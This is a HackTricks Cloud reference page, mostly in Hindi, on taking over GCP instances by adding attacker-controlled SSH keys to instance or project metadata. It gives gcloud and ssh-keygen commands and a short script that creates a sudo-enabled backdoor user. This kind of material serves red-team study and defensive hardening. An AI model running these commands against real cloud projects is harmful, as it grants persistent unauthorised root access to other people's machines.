GCP - Add Custom SSH Metadata
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Metadata को संशोधित करना
एक इंस्टेंस पर मेटाडेटा का संशोधन महत्वपूर्ण सुरक्षा जोखिमों का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
कस्टम मेटाडेटा में SSH कुंजियों का समावेश
GCP पर, Linux सिस्टम अक्सर Python Linux Guest Environment for Google Compute Engine से स्क्रिप्ट चलाते हैं। इसका एक महत्वपूर्ण घटक accounts daemon है, जिसे नियमित रूप से इंस्टेंस मेटाडेटा एंडपॉइंट की अधिकृत SSH सार्वजनिक कुंजियों के लिए अपडेट की जांच करने के लिए डिज़ाइन किया गया है।
इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और स्थानीय सिस्टम में एकीकृत किया जाएगा। कुंजी को एक मौजूदा उपयोगकर्ता के ~/.ssh/authorized_keys फ़ाइल में जोड़ा जाएगा या sudo अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा।
मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें
- इंस्टेंस पर मौजूदा SSH कुंजियों की जांच करें:
- मौजूदा SSH कुंजियों को खोजने के लिए इंस्टेंस और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग
metadataके तहत होगा, विशेष रूप सेssh-keysकुंजी के तहत।
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग किया जाता है।
- SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:
- उपयोगकर्ता नाम और उनकी संबंधित SSH कुंजियों के विवरण को
meta.txtनामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
- लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (
aliceइस उदाहरण में):
ssh-keygenकमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (-C) लक्षित उपयोगकर्ता नाम से मेल खाता है।
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- नई सार्वजनिक कुंजी को
meta.txtमें जोड़ें, इंस्टेंस के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
- इंस्टेंस की SSH कुंजी मेटाडेटा को अपडेट करें:
gcloud compute instances add-metadataकमांड का उपयोग करके इंस्टेंस पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- नई SSH कुंजी का उपयोग करके इंस्टेंस तक पहुँचें:
- लक्षित उपयोगकर्ता (
aliceइस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ इंस्टेंस से कनेक्ट करें।
ssh -i ./key alice@localhost
sudo id
एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें
यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे sudo अनुमतियाँ दी जाएंगी:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH keys at project level
SSH एक्सेस के दायरे को क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाना संभव है प्रोजेक्ट स्तर पर SSH कुंजी लागू करके। यह दृष्टिकोण प्रोजेक्ट के भीतर किसी भी इंस्टेंस को SSH एक्सेस की अनुमति देता है जिसने स्पष्ट रूप से प्रोजेक्ट-व्यापी SSH कुंजी को ब्लॉक नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
- प्रोजेक्ट स्तर पर SSH कुंजी लागू करें:
gcloud compute project-info add-metadataकमांड का उपयोग करकेmeta.txtसे SSH कुंजी को प्रोजेक्ट के मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी प्रोजेक्ट में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "Block project-wide SSH keys" विकल्प सक्षम नहीं है।
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- प्रोजेक्ट-व्यापी कुंजी का उपयोग करके इंस्टेंस में SSH करें:
- प्रोजेक्ट-व्यापी SSH कुंजी के साथ, आप प्रोजेक्ट के भीतर किसी भी इंस्टेंस में SSH कर सकते हैं। जो इंस्टेंस प्रोजेक्ट-व्यापी कुंजी को ब्लॉक नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे एक्सेस मिलेगा।
- किसी इंस्टेंस में SSH करने का एक सीधा तरीका
gcloud compute ssh [INSTANCE]कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और प्रोजेक्ट स्तर पर सेट की गई SSH कुंजी का उपयोग करके एक्सेस करने का प्रयास करता है।
References
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud